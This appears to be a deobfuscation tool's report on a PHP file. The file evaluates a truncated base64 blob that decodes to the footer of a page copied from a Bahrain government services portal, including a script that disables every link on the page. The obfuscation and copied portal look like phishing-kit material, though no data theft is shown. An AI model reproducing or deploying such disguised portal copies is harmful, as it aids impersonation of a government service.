pcHQ+CgoKPHNjcmlwdCBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvanMvYm9vdHN0cmFwLWRhdGV0aW1lcGlja2VyLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9wcmludGVyLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9qcXVlcnkuZm9ybS5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2pzL2pxdWVyeS5tYXNrZWRpbnB1dC5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+Cgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9ib290c3RyYXAtdG9vbHRpcC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4gCjxzY3JpcHQgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2pzL2Jvb3RzdHJhcC1wb3BvdmVyLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCgk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9qcXVlcnktZXUtY29va2llLWxhdy1wb3B1cF9lbi5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KCgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9zZWxlY3QyLmZ1bGwuanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CgoKCgo8IS0tIEVuZCBvZiBMaXZlQ2hhdCBjb2RlIC0tPjwhLS0gVXNlcndheSBBY2Nlc3NpYmlsaXR5IHdpZGdldCAtLT48IS0tIEVuZCBwYWdlIGZvb3RlciAtLT4KCTwhLS0gVGhpcyBpcyByZXNwb25zaWJsZSBmb3IgYm9vdHN0cmFwcGluZyB0aGUgY29uZmlndXJhdGlvbiBmb3IgdGhlIGphdmFzY3JpcHQgZnJhbWV3b3JrLiAKCQlUaGlzIGlzIGxvY2F0ZWQgaGVyZSBpbnN0ZWFkIG9mIHRoZSBoZWFkIHNlY3Rpb24gdG8gaW1wcm92ZSBjbGllbnQgcGVyZm9ybWFuY2UuIC0tPgoKCTxkaXYgaWQ9ImxheW91dENvbnRhaW5lcnMiIGNsYXNzPSJ3cHRoZW1lTGF5b3V0Q29udGFpbmVycyB3cHRoZW1lTGF5b3V0Q29udGFpbmVyc0hpZGRlbiIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij48L2Rpdj4JCQoKICAgIDxzY3JpcHQ+CiAgICAvLyBHZXQgYWxsIGFuY2hvciB0YWdzCiAgICB2YXIgYW5jaG9yVGFncyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJhIik7CgogICAgLy8gTG9vcCB0aHJvdWdoIGVhY2ggYW5jaG9yIHRhZyBhbmQgbW9kaWZ5IHRoZSBocmVmIGF0dHJpYnV0ZQogICAgZm9yICh2YXIgaSA9IDA7IGkgPCBhbmNob3JUYWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgYW5jaG9yVGFnc1tpXS5zZXRBdHRyaWJ1dGUoImhyZWYiLCAiIyIpOwogICAgfQogICAgPC9zY3JpcHQ+CjwvYm9keT48Z3JhbW1hcmx5LWRlc2t0b3AtaW50ZWdyYXRpb24gZGF0YS1ncmFtbWFybHktc2hhZG93LXJvb3Q9InRydWUiPjwvZ3JhbW1hcmx5LWRlc2t0b3AtaW50ZWdyYXRpb24+PC9odG0=')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 59ad16295d59238bf2d205b5c5a6f70a |
Eval Count | 1 |
Decode Time | 190 ms |